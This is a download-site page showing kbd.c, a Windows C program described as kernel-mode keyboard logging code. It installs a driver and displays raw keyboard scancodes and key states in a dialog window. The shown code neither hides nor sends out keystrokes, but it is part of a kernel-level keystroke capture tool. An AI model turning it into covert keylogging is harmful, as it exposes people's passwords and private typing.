⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 kbd.c

📁 内核下键盘记录的代码
💻 C
字号:
//
// kbd.c : GUI
//       : Communication with a Driver inp.sys
//

#include <stdio.h>
#include "stdafx.h"
#include "ioctls.h"
#include "driver.h"
#include "keyboard.h"
#include "resource.h"

int CALLBACK DlgProc( HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam );
int CALLBACK DetailsDlgProc( HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam );
DWORD WINAPI ThreadProc(LPVOID dump);

// Global Variables:
HINSTANCE	hInst;								// current instance
HWND		hList;
HWND		hText;
HANDLE		hDriver;
HANDLE		hThread;
LVITEM		lvI;
char data[2];

int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
{
	hInst = hInstance;
	DialogBox(hInstance, MAKEINTRESOURCE(IDD_MAIN), HWND_DESKTOP, DlgProc);	

	return 0;
}


int CALLBACK DlgProc( HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam )
{
	LVCOLUMN	lvC;
	DWORD temp;
	HICON hIcon;

	switch( uMsg )
	{
		case WM_INITDIALOG:
			hList = GetDlgItem( hDlg, IDC_LIST );

			ListView_SetExtendedListViewStyle( hList, LVS_EX_FULLROWSELECT );

			memset( &lvC, 0, sizeof(LVCOLUMN) );
			lvC.mask		= LVCF_TEXT | LVCF_WIDTH | LVCF_FMT;
			lvC.iSubItem	= 0;
			
			lvC.cx			= 85;
			lvC.pszText		= "Buffer (0x60)";
			lvC.fmt			= LVCFMT_LEFT;
			ListView_InsertColumn( hList, 0, &lvC );

			lvC.cx			= 83;
			lvC.pszText		= "Flags (0x64)";
			lvC.fmt			= LVCFMT_RIGHT;
			ListView_InsertColumn( hList, 1, &lvC );

			lvC.cx			= 100;
			lvC.pszText		= "Key";
			lvC.fmt			= LVCFMT_RIGHT;
			ListView_InsertColumn( hList, 2, &lvC );

			lvC.cx			= 100;
			lvC.pszText		= "State";
			lvC.fmt			= LVCFMT_LEFT;
			ListView_InsertColumn( hList, 3, &lvC );
			//
			// Start-up.
			//
			//
			InstallDriver();
			StartDriver();

			hDriver = CreateFile("\\\\.\\INP", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
			hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, &temp); // thread

			hIcon = LoadIcon(hInst, (LPCSTR)IDI_ICON);
			SetClassLong(hDlg, GCL_HICON, (LONG)hIcon);
			break;

		case WM_COMMAND:
			break;

		case WM_CLOSE:
			CloseHandle(hDriver);
			UninstallDriver();
			EndDialog( hDlg, 0 );
			break;
		
		default:
			break;
	}

	return 0;
}

DWORD WINAPI ThreadProc(LPVOID dump)
{							// ThreadProc
	DWORD temp;
	HANDLE hEvent;
	unsigned char data[2], buffer[2], scBuffer[10], szBuffer[10], stBuffer[10];
	unsigned char escape = 0x00;

	int currentLine = 0, i;

	memset( &lvI, 0, sizeof(LVITEM) );
	lvI.mask		= LVIF_TEXT;
	lvI.iSubItem	= 0;
	lvI.pszText		= szBuffer;

	hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);

	while (1)
	{
		DeviceIoControl(hDriver, IOCTL_REGISTER_EVENT, &hEvent, sizeof(hEvent), NULL, 0, &temp, NULL);
		WaitForSingleObject(hEvent, INFINITE);
		ResetEvent(hEvent);

		DeviceIoControl(hDriver, IOCTL_REQUEST_DATA, NULL, 0, &data, sizeof(char[2]), &temp, NULL);

		if (!data[0]) // NULL data skipping
		{
			continue;
		}

		buffer[0] = data[0];
		buffer[1] = data[1];

		if (buffer[0] == 0xE0 || buffer[0] == 0xE1)
		{
			escape = buffer[0];

			DeviceIoControl(hDriver, IOCTL_REGISTER_EVENT, &hEvent, sizeof(hEvent), NULL, 0, &temp, NULL);
			WaitForSingleObject(hEvent, INFINITE);
			ResetEvent(hEvent);
			DeviceIoControl(hDriver, IOCTL_REQUEST_DATA, NULL, 0, &data, sizeof(char[2]), &temp, NULL);

			buffer[0] = data[0];
		}
		else
			escape = 0x00;

		// below - visual
		for (i = 7; i >= 0; i--)
		{
			szBuffer[i] = ( data[0] & 0x1 ? '1' : '0');
			stBuffer[i] = ( data[1] & 0x1 ? '1' : '0');
			data[0] = data[0] >> 1;
			data[1] = data[1] >> 1;
		}
		szBuffer[8] = stBuffer[8] = '\0';

		ListView_InsertItem ( hList, &lvI );
		ListView_SetItemText( hList, 0, 1, stBuffer);
		ListView_SetItemText( hList, 0, 2, KeyboardSignal(buffer[0], escape, scBuffer, sizeof(char[10])));		
		ListView_SetItemText( hList, 0, 3, (szBuffer[0] == '1' ? "\"break\"" : "\"make\"") );



	}

	CloseHandle(hEvent);

	return 0;
}							// ThreadProc

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -